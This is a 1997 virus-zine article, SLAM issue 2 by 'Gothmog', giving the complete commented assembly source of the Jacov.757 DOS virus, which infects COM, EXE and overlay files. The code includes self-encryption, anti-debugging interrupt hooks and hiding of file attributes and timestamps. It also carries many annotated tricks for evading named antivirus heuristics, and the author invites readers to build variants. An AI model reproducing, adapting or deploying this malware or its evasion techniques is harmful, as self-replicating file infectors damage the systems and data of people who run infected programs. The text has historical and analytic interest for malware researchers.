Copy Link
Add to Bookmark
Report
SLAM2.002: The Jacov.757 Virus by Gothmog/[DHA]
; ===========================================================================
; s l a m v i r u s m a g a z i n e i s s u e 2 article num. 02
; ===========================================================================
;
; ˛ The Jacov.757 Virus - Non-TSR COM/EXE/OVL Infector
;
; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02; other assemblers
; may work, but are not personally tested or quality assured.
;
; Assemble with: tasm /m2 jacov757.asm (/m1 generates a 761 byte variant)
; tlink /t jacov757.obj
;
; Alternately: a86 jacov757.asm jacov757.com (creates a 759 byte variant)
; ===========================================================================
; TSR..................... No
; Encrypted............... Yes
; Appending Virus......... Yes
; COM infector............ Yes
; EXE infector............ Yes
; OVL infector............ Yes, infects *.OV? in fact...
; SYS infector............ No
; Boot infector........... No
; Reset Attributes........ Yes
; Reset Time/Date......... Yes
; Avoid Heuristic......... Yes (See below and in code)
; Anti-Debugging.......... Yes, Int 01h and 03h are hooked to bomb out.
; Disable Watchdogs....... Nope, nobody uses them anyway... <grin>
; Targets Checksums....... No
; Payload................. No, maybe in a more complete version.
; Message................. Not in this one... Just name and author.
; Error trapping.......... Yes, Int 24h is hooked.
; Directory Stealth....... No
;
; Thanks to Killer Bee for the preceding table layout, it's quite helpful....
; ===========================================================================
; As of right now, the Jacov.757 virus is 100% unscannable with:
;
; ˛ TBAV v7.07 w/ high heuristic sensitivity enabled
; ˛ AVPLite v3.0 build 107 updated 03/22/97 with full heuristics enabled
; ˛ Dr. Solomon's FindVirus v7.69 w/ the following command-line switches
; enabled: /!GURU /SECURE /VID /!IVN /!DOBOOTS /PACK /ANALYSE (sometimes)
; ˛ Microsoft Anti-Virus (big surprise... no great accomplishment here :)
; ˛ F-PROT v2.26 w/ switches /ANALYSE and /GURU enabled; /PARANOID enabled
; for infected COM files
;
; More to come, soon, soon:
;
; ˛ F-PROT v2.26 w/ switches /ANALYSE /GURU /PARANOID enabled (for EXEs)
; ˛ Dr. Solomon's FindVirus v7.69 (all the time)
; ===========================================================================
; Here's the header and file information for an infected file; note the virus
; sets cs = ss - 1 and ip = sp to avoid some heuristic detection, and that it
; builds the file sizes properly, unlike many other exe infectors. Originally
; the host file was 1000 bytes, note the differences in size, etc:
;
; ==[ header information ]===============[ dec ]=========[ hex ]=============
;
; ˛ Bytes on last page : 00221 00DDh
; Pages in file : 00004 0004h
; Relocations : 00000 0000h
; Paragraphs in header : 00032 0020h
; ˛ Minimum memory (paragraphs) : 00000 0000h Memory needed
; Maximum memory (paragraphs) : 65535 FFFFh 2k
; ˛ CS:IP : 00030:00008 001Eh:0008h
; SS:SP : 00029:00008 001Dh:0008h
; ˛ CheckSum : 00000 0000h
; Relocation table address : 00000 0000h
; Overlay number : 00000 0000h
;
; ==[ File information ]=====================================================
;
; ˛ Size on disk : 1757 bytes
; ˛ Module length : 1245 bytes
; ˛ Header length : 512 bytes
; ˛ Overlay length : 0 bytes
;
; ===========================================================================
; This is my first .EXE infector, so if the code looks like it was written by
; someone on acid, take that into consideration. Also take into consideration
; that I have stopped optimizing (modifying even) the code of this version of
; the virus for the simple reason that I like the virus size (757 bytes, like
; that crappy Boeing plane...). In any case, enjoy; if you want to make a new
; variant of this virus, you are fully welcome to; just give me some credit,
; as one thing that is just lamer than lame is a ripped-off virus. Note; I've
; included an assembled (and encrypted) copy of this virus with sixteen other
; variants, for those of you who are without a working assembler. If you want
; source code for the variants of this or any of my other viruses that appear
; in this magazine, e-mail the editors of the magazine or contact me directly
; at <gothmog@akamail.com>. Also note, I went crazy mad with comments in the
; code; if any are wrong, don't blame me; I do this to help you, the reader,
; learn more about programming viruses.
;
; Knock yourself out...
; =========================================[ Gothmog, 04/15/97 08:36:57PM ]==
.model tiny ; generate a com dropper file
.286 ; uses pusha and popa opcodes
.code ; tasm accelerated directive
org 100h ; code starts at cs:0100h
virus_start:
mov bp, 0000h ; set bp to delta offset
org $ - 0002h
delta_offset dw 0000h ; delta offset of virus code
cli ; clear maskable interrupts
; while manipulating the stack
mov sp, 0FFFEh ; set stack pointer to the top
; of its memory segment
mov ax, cs ; load ax with code segment
mov ss, ax ; and set ss to it
sti ; restore maskable interrupts
push ds ; save data segment for later
push cs ; save code segment on stack
pop es ; and set new es = cs
push cs ; save code segment on stack
pop ds ; and set new ds = cs
; ===========================================================================
; F-Protect will flag this virus if the following code is included, but stops
; tracing immediately if a register is called, even if the /analyse /paranoid
; and /guru command-line switches are used.
;
; call decrypt
; ===========================================================================
lea ax, [decrypt + bp] ; load ax with decrypt offset
call ax ; and decrypt the virus code
; =[ encrypted area begins ]=================================================
start_encrypt:
push es ; save extra segment on stack
xor ax, ax ; zero ax (ax = 0000h)
mov es, ax ; and set es to 0000h
lea ax, [int_01_handler + bp] ; load ax with int 01 handler
; offset (anti-heuristic)
mov word ptr es:[1h*4], ax ; and point interrupt vector
; table entry for int 01 to
; the new handler (see below)
lea ax, [int_03_handler + bp] ; load ax with int 01 handler
; offset (anti-heuristic)
mov word ptr es:[3h*4], ax ; and point interrupt vector
; table entry for int 03 to
; the new handler (see below)
mov ax, cs ; set ax to code segment;
; anti-heuristic for tbscan
mov word ptr es:[1h*4+2], ax ; set int 01 segment to cs
mov word ptr es:[3h*4+2], ax ; set int 03 segment to cs
mov ax, 3524h ; ax = 3524h; get interrupt
int 21h ; 24 handler seg:off in es:bx
mov ax, es ; copy int 24's segment to ax
pop es ; and restore our original es
push bx ; save int 24h's offset on
; the stack
push ax ; save int 24h's segment on
; the stack
mov ax, 2524h ; ax = 2524h; set interrupt
; vector for int 24h to ds:dx
lea dx, [int_24_handler + bp] ; set offset of new handler
; to offset of our handler
int 21h ; and do it...
fuck_over_avp:
; ===========================================================================
; AVP v3.0 build 107 update 03/22/97 will detect the following anti-heuristic
; code segment, but not if you sub one of the bytes on the stack:
;
; sub byte ptr [bp + file_mask + 02h], 0Fh
; sub byte ptr [bp + file_mask + 04h], 0Fh
; ===========================================================================
push word ptr [bp + file_mask + 2] ; push 'tx' on stack
mov bx, sp ; copy stack pointer to bx
sub byte ptr [bx], 0Fh ; change 'tx' to 'ex'
pop word ptr [bp + file_mask + 2] ; and restore the bytes
sub byte ptr [bp + file_mask + 4], 0Fh
; change '*.ext' to '*.exe'
reset_variables:
lea si, [old_ip + bp] ; copy words from old_ip
lea di, [store_ip + bp] ; to store_ip
mov cx, 0004h ; copy four words
rep movsw ; do it!
set_dta:
mov ah, 1Ah ; ah = 1Ah; set new disk
; transfer area to offset of
lea dx, [new_dta + bp] ; our dta area on heap
int 21h ; and do it!
; ===========================================================================
; O Found code that can be used to overwrite/move a program in memory.
;
; lea si, [storage_bytes + bp]
; mov di, 0100h
; ===========================================================================
lea di, [storage_bytes + bp] ; copy from storage_bytes
mov si, 100h ; to cs:[0100h] to restore
; com host's beginning
xchg si, di ; anti-heuristic, see above
mov byte ptr [com_active + bp], 'n' ; by default, an exe host is
; active
cmp byte ptr cs:0100h, 0E9h ; check to see if the byte at
; cs:[0100h] is E9h, this is
; the near jmp opcode and
; means a com host is active
jne skip_restore_storage_bytes ; if an exe host is active,
; do not corrupt memory at
; cs:[0100h]
movsw ; copy one word to cs:[0100h]
movsb ; and one byte, for a total
; of three bytes copied
mov byte ptr [com_active + bp], 'y' ; a com host is running; set
; this flag to 'y'es ;)
skip_restore_storage_bytes:
; ===========================================================================
; F Suspicious file access. Might be able to infect a file.
;
; mov ah, 4Eh
; ===========================================================================
mov bh, 4Eh ; ah = 4Eh, find first file
xchg ax, bx ; anti-heuristic, see above
mov cx, 0007h ; cx = 0007h, find all files
lea dx, [file_mask + bp] ; dx = mem. offset of '*.exe'
pusha ; save ah and cx for later
call find_file ; search current directory
popa ; restore ah = 4Eh, cx = 007h
pusha ; save ah and cx for later
; ===========================================================================
; AVP v3.0 build 107 update 03/22/97 will detect the following anti-heuristic
; code segment, but not if you xor the first word on the stack:
;
; xor word ptr [bp + file_mask + 02h], 1706h
; xor byte ptr [bp + file_mask + 04h], 08h
; ===========================================================================
push word ptr [bp + file_mask + 2] ; push 'ex' on stack
mov bx, sp ; copy stack pointer to bx
xor word ptr [bx], 1706h ; change 'ex' to 'co'
pop word ptr [bp + file_mask + 2] ; and restore the bytes
xor byte ptr [bp + file_mask + 4], 08h
; change '*.coe' to '*.com'
call find_file ; search current directory
popa ; restore ah = 4Eh, cx = 007h
pusha ; save ah and cx for later
lea dx, [overlay_mask + bp] ; load dx with mem. offset of
; '*.ov?' for infecting ovl,
; ovr, etc. files with proper
; exe headers
call find_file ; search current directory
popa ; restore ah = 4Eh, cx = 007h
jmp no_more_files ; no exe, com, or ov? files
; found, so return to host
find_file:
int 21h ; find first or next file
jc jmp_to_ret ; if no files found, do 'ret'
mov ax, 3D00h ; ax = 3D00h; open disk file
lea dx, [new_dta + 1Eh + bp] ; dx = file name in new dta
push dx ; save file name offset for
; later use; see below
int 21h ; open the file, get handle
; returned in ax
xchg bx, ax ; put file handle in bx and
; discard ax value
mov ah, 3Fh ; ah = 3Fh; read file from
; handle in bx
mov cx, 1Ah ; read 1Ah bytes, length of
; exe header
lea dx, [exe_header + bp] ; read to exe header area in
; heap; see below
int 21h ; read the file
close_file:
mov ah, 3Eh ; ah = 3Eh, close file from
int 21h ; handle in bx; do it!
test_infection:
mov byte ptr [bp + com_marker], 'e' ; assume exe file to infect
; ===========================================================================
; Z EXE/COM determination. The program tries to check whether a file
; is a COM or EXE file. Viruses need to do this to infect a program.
;
; cmp word ptr [exe_header + bp], 'ZM'
; ===========================================================================
mov ax, 'ZM' ; exe/misnamed coms always
; start with 'MZ' (usually :)
cmp word ptr [exe_header + bp], ax ; compare target file's first
; two bytes to see if it is
; an exe (anti-heuristic)
jne com_file_found ; if bytes differ, assume com
cmp byte ptr [exe_header + bp + 18h], 40h
; make sure exe file is not
; a windows executable by
; checking relocation table
; value against marker 40h
jae find_next_file ; if windows exe, find next
mov ax, word ptr [exe_header + bp + 0Eh]
; load ax with stack segment
; of target exe file
inc ax ; set ax = ss + 1
cmp word ptr [exe_header + bp + 16h], ax
; compare target exe file's
; code segment with ss + 1,
; this is the the virus's
; infection marker
jne infect_the_bitch ; if file is not infected,
; go ahead and infect it...
find_next_file:
pop ax ; pop and discard file name
; offset; used elsewhere
mov ah, 4Fh ; ah = 4Fh; find next file
jmp find_file ; jump to int 21h instruction
jmp_to_ret:
jmp ret_address ; execute a ret instruction;
; just as i'm commenting this
; i realize it's extremely
; silly; a simple ret would
; save one byte... oh well :)
; bonus points: make a more
; optimized variant and win
; a nifty prize...
com_file_found:
cmp byte ptr [bp + file_mask + 02h], 'c'
; check if file mask is *.com
jne find_next_file ; if not *.com, file is not
; standard or infectable :(
cmp byte ptr [exe_header + bp], 0E9h
; check if first byte is a
; jmp near opcode; this is
; the virus's infection
; marker in .com format
je find_next_file ; if file already infected,
; find another one
mov byte ptr [bp + com_marker], 'c' ; set internal com marker to
; 'c' for com; see below...
infect_the_bitch:
mov word ptr [bp + file_mask + 02h], 7874h
; change filemask to '*.tx?'
mov byte ptr [bp + file_mask + 04h], 74h
; change filemask to '*.txt'
pop si ; pop file mask offset
pop di ; pop destination ip for code
; return from call; discarded
push si ; push file mask offset
lea si, [exe_header + bp + 0Eh] ; copy two words from exe
lea di, [old_ss + bp] ; header to old_ss storage
movsw ; copy one word; si --> di
movsw ; copy one word; si --> di
lea si, [exe_header + bp + 14h] ; copy two words from exe
lea di, [old_ip + bp] ; header to old_ip storage
movsw ; copy one word; si --> di
movsw ; copy one word; si --> di
lea si, [new_dta + 15h + bp] ; copy bytes from dta area
lea di, [file_attr + bp] ; to file_attr block in heap
mov cx, 0009h ; copy nine bytes
rep movsb ; byte by byte; si --> di
; ===========================================================================
; F Suspicious file access. Might be able to infect a file.
;
; mov ax, 4301h
; ===========================================================================
mov cx, 4301h ; ax = 4301h; set attributes
xchg ax, cx ; anti-heuristic; see above
xor cx, cx ; cx = 0000h; clear attribs.
pop dx ; get file name offset
push dx ; and restore it to stack
int 21h ; set the file attributes
mov ax, 3D02h ; ax = 3D02h; open file with
; read/write permissions
int 21h ; open file, name still in
; dx from previous pop above
xchg bx, ax ; put file handle in bx and
; discard ax value
mov ax, 4202h ; ax = 4202h; set the file
; pointer relative to the
; end of the file
xor cx, cx ; zero bytes from the end
; of the file, ie. the end
; of the file exactly... <g>
cwd ; one byte; sets dx = 0000h
int 21h ; set file pointer to eof
push ax ; save file length in ax
mov word ptr [delta_offset + bp], ax
; copy file length to delta
; offset, used for com files
sub ax, 03h ; set ax = file length - 03h
mov word ptr [jump_offset + bp], ax ; jump offset (see below) set
; to file length - 03h for
; jump instruction (3 bytes)
pop ax ; put file length in ax
cmp byte ptr [com_marker + bp], 'c' ; see if com file is being
; infected this run
jne exe_infector_shit ; if not, proceed with exe
; infection routine
lea si, [exe_header + bp] ; copy bytes from file start
lea di, [storage_bytes + bp] ; to storage_bytes; see below
movsw ; copy one word to storage
movsb ; and one byte, for a total
; of three bytes copied
jmp skip_exe_infector_shit ; skip exe infection routine
exe_infector_shit:
push ax ; save file size on stack
push dx ; save high word of file size
calculate_csip:
mov si, word ptr [exe_header + bp + 08h]
; si = size of exe header in
; paragraphs (16 bytes each)
shl si, 04h ; multiply si by 2^4 = 16d
xchg si, cx ; si = header in bytes; in cx
sub ax, cx ; subtract header size from
; low word of total file size
sbb dx, 0000h ; borrow from high word if
; necessary (if you don't
; understand this operation,
; look it up in an asm book)
; ax now holds the exe module
; length = file size - header
; size in bytes
shl dx, 0Ch ; multiply high word by 2^C =
; 4096d
mov cx, ax ; copy module length to cx
shr ax, 04h ; divide module length by 2^4
; = 16d
add dx, ax ; add this to high word * 2^C
shl ax, 04h ; multiply module length by
; 2^4 = 16d; undo's previous
; divide instruction but will
; round off to the nearest
; paragraph = 16 bytes
sub cx, ax ; subtract from exact module
; length to find remainder
; in bytes; see below for use
mov word ptr [exe_header + bp + 10h], cx
; set initial sp arbitrarily
; to this number, this will
; be < 0Fh and thus will not
; trigger the tbscan '?' flag
mov word ptr [exe_header + bp + 14h], cx
; set initial ip to this
; number; the code will then
; be paragraph-aligned...
sub cx, offset virus_start ; subtract 100h from the new
; instruction pointer so that
; bp will be set to the right
; value in the new host .exe
mov word ptr [delta_offset + bp], cx
; and set the new offset
mov word ptr [exe_header + bp + 16h], dx
; set initial code segment
; to dx; see above for value
dec dx ; decrease dx by 01h
mov word ptr [exe_header + bp + 0Eh], dx
; set initial stack segment
; to initial cs - 01h; this
; serves as the virus's
; infection marker in exe's
pop dx ; get high word of file size
pop ax ; get low word of file size
calculate_size:
add ax, virus_length ; add virus length to file
adc dx, 0000h ; size, and carry if needed
mov cx, 0200h ; divide by 200h = 512d to
div cx ; get new size in pages
inc ax ; round quotient up by one
mov word ptr [exe_header + bp + 04h], ax
; set new exe header field to
; size of file in paragraphs
mov word ptr [exe_header + bp + 02h], dx
; set length of last page
; to division remainder
skip_exe_infector_shit:
mov ah, 2Ch ; ah = 2Ch; get system time
int 21h ; read the system clock
xchg ch, cl ; switch hours with minutes
add dx, cx ; add minutes to seconds and
; hours to hundreths
xor dx, word ptr [encrypt_key + bp] ; xor value with previous
; random value; this ensures
; more random key generation
mov word ptr [encrypt_key + bp], dx ; and save the new random key
lea si, [write_virus + bp] ; copy bytes from the write_
lea di, [heap_data + bp] ; virus routine to the heap
mov cx, offset end_write_virus - offset write_virus
; write enough bytes to copy
; the entire routine
rep movsb ; copy the code; si --> di
mov ah, 40h ; ah = 40h; write file
mov cx, virus_length ; number of bytes to write
lea dx, [bp + virus_start] ; from start of virus code
pusha ; save these settings for
; later (see below)
call heap_data ; call write_virus routine
out_write_virus:
mov ax, 4200h ; set file pointer to
xor cx, cx ; beginning of file
cwd ; one byte; sets dx = 0000h
int 21h ; set pointer to the top
mov ah, 40h ; ah = 40h; write file
cmp byte ptr [bp + com_marker], 'c' ; see if com file is being
; written or exe file; the
; routines differ, of course
jne write_exe_header ; write header if exe file
lea dx, [bp + jump_bytes] ; write jmp virus_offset
mov cx, 03h ; three bytes to write
int 21h ; write first three bytes
; of infected file
jmp reset_file_attributes ; skip over exe routine
write_exe_header:
lea dx, [bp + exe_header] ; write from new header
mov cx, 1Ah ; 1Ah bytes to write = whole
; header buffer to file
int 21h ; write new exe header
; ===========================================================================
; F Suspicious file access. Might be able to infect a file.
;
; mov ax, 5701h
; ===========================================================================
reset_file_attributes:
mov cx, 5701h ; ax = 5701h; set date/time
xchg ax, cx ; anti-heuristic; see above
mov cx, word ptr [file_time + bp] ; restore original file time
mov dx, word ptr [file_date + bp] ; restore original file date
int 21h ; restore original time/date
mov ah, 3Eh ; ah = 3Eh; close file
int 21h ; close the infected file
; ===========================================================================
; F Suspicious file access. Might be able to infect a file.
;
; mov ax, 4301h
; ===========================================================================
mov cx, 4301h ; ax = 4301h; set attributes
xchg ax, cx ; anti-heuristic; see above
pop dx ; get file name offset from
; stack; pushed before the
; infection routine
xor ch, ch ; ch = 00h; set attributes
mov cl, byte ptr [file_attr + bp] ; cl = original file attribs.
int 21h ; restore original attributes
popa ; restore ah = 4Eh, cx = 007h
; to be discarded, resets the
; stack only...
no_more_files:
mov ax, 2524h ; ax = 2524h; set interrupt
; 24 handler segment/offset
pop ds ; get original int 24 segment
pop dx ; get original int 24 offset
int 21h ; and set the vector table
pop ds ; restore original data
; segment; see start of code
; ===========================================================================
; F Suspicious file access. Might be able to infect a file.
;
; mov ah, 1Ah
; mov dx, 0080h
; ===========================================================================
xor ah, ah ; ah = 1Ah; set default disk
mov dx, 1A80h ; transfer area to original
xchg ah, dh ; dta at cs:[0080h] in psp
int 21h ; set default dta to original
restore_to_host:
cmp byte ptr [com_active + bp], 'y' ; see if a com host is being
jne return_to_exe_host ; run, if not, continue with
; the exe host exit routine
; ===========================================================================
; B Back to entry point. Contains code to re-start the program after
; modifications at the entry-point are made. Very usual for viruses.
;
; mov si, 0100h
; push si
; ret
; ===========================================================================
dec sp ; emulates a push w/o setting
; the value on the stack
mov si, sp ; copy stack pointer to si
mov word ptr [si], 0100h ; change the last word on the
; stack to 0100h
xor ax, ax ; zero the registers, just
xor bx, bx ; in case the infected com
xor cx, cx ; file assumes that they are
; initially all zeroed
cwd ; one byte; sets dx = 0000h
xor bp, bp ; clear value of base pointer
xor si, si ; clear value of source index
xor di, di ; clear value of dest. index
ret ; simulate a call to value on
; the stack, which is 0100h;
; this will run the original
; host just as dos does, from
; cs:[0100h] with all regs.
; zero and the default psp
; at cs:[0000h] (see above)
return_to_exe_host:
push ds ; push data segment on stack
pop es ; and pop it to the extra
; segment; see below for use
mov ax, es ; load ax with extra segment
add ax, 10h ; and add 10h for psp area
add word ptr cs:[store_cs + bp], ax ; set new code segment to old
; code segment + es + 10h
cli ; clear maskable interrupts
neg sp ; emulate stack crash; anti-
neg sp ; heuristic and anti-tbclean
add ax, word ptr cs:[bp + store_ss] ; load ax with new stack seg
mov ss, ax ; and set the new stack seg
mov sp, word ptr cs:[bp + store_sp] ; set the new stack pointer
sti ; restore maskable interrupts
db 0EAh ; db for far jump; so .exe
; host can be returned to
; properly
store_ip dw 0000h ; ip of file being infected
store_cs dw 0000h ; cs of file being infected
store_ss dw 0000h ; ss of file being infected
store_sp dw 0000h ; sp of file being infected
old_ip dw 0000h ; orig. ip of infected file
old_cs dw 0FFF0h ; orig. cs of infected file
old_ss dw 0FFF0h ; orig. ss of infected file
old_sp dw 0000h ; orig. sp of infected file
; =[ the following code segment will be copied to the heap ]=================
write_virus:
pop word ptr [crap_word + bp] ; save return address in heap
lea ax, [encrypt + bp] ; load ax with encrypt offset
; so code will work from heap
call ax ; encrypt virus code
popa ; restore infection settings
; ah = 40h, cx = length, etc.
int 21h ; write the fat bitch
lea ax, [decrypt + bp] ; load ax with decrypt offset
; so code will work from heap
call ax ; decrypt virus code
push word ptr [crap_word + bp] ; push return address from
; heap so ret will function
ret_address:
ret ; return to calling address
end_write_virus equ $ ; end of code to be run from
; heap (this is so virus can
; stay encrypted in memory)
; =[ code segment ends; see above ]==========================================
virus_name db '[jacov]', 00h ; virus name, don't ask...
virus_author db '(c) 1997 gothmog', 00h ; that's me, don't forget it
; ===========================================================================
; S Contains a routine to search for executable (.COM or .EXE) files.
;
; file_mask db '*.exe', 00h
; ===========================================================================
file_mask db '*.txt', 00h ; changes to *.exe and *.com
overlay_mask db '*.ov?', 00h ; this mask is not picked up
; by heuristics (i think :)
storage_bytes db 0CDh, 20h, 00h ; original three bytes of an
; infected com file
end_encrypt equ $ - 0001h ; end of encrypted area
; =[ encrypted area ends ]===================================================
int_01_handler:
call int_01_handler ; causes a stack crash if
; single-stepped through
int_24_handler:
mov al, 03h ; return standard error code
int_03_handler:
iret ; fly through breakpoints :)
encrypt:
decrypt:
lea si, [start_encrypt + bp] ; start of encryption
mov di, si ; go word by word from start
mov cx, (end_encrypt - start_encrypt + 1) / 2
; ^- length of encrypted area
xor_loop:
lodsw ; load word from si into ax
; and increment si by one
jnc false_jump ; anti-heuristic, really jmp
false_jump_2:
stosw ; load word from ax into di
; and increment di by one
loop xor_loop ; loop until finished
ret ; return to calling address
false_jump:
db 35h ; db for xor ax, word value
encrypt_key dw 0000 ; random encryption key
jnc false_jump_2 ; anti-heuristic, really jmp
jump_bytes:
db 0E9h ; this byte and jmp_offset
; will form the new first
; three bytes of an infected
; com file; see above for use
virus_end:
; =[ heap space begins ]=====================================================
jump_offset dw ? ; offset of virus from file
; start in com file, see
; above for jump_bytes
exe_header db 1Ah dup (?) ; new exe-header, modified
; during infection process
file_attr db ? ; stored file attributes
file_time dw ? ; stored file time
file_date dw ? ; stored file date
file_size dd ? ; stored file size
new_dta db 02Bh dup (?) ; new disk transfer area
com_active db ? ; 'y' if com file is being
; executed, 'n' if otherwise
com_marker db ? ; 'c' if com file is being
; infected, 'e' if otherwise
crap_word dw ? ; saves destination ip from
; file-infection routine that
; is run from the stack
heap_data:
virus_length equ offset virus_end - offset virus_start
end virus_start
; ============================================================[ code ends ]==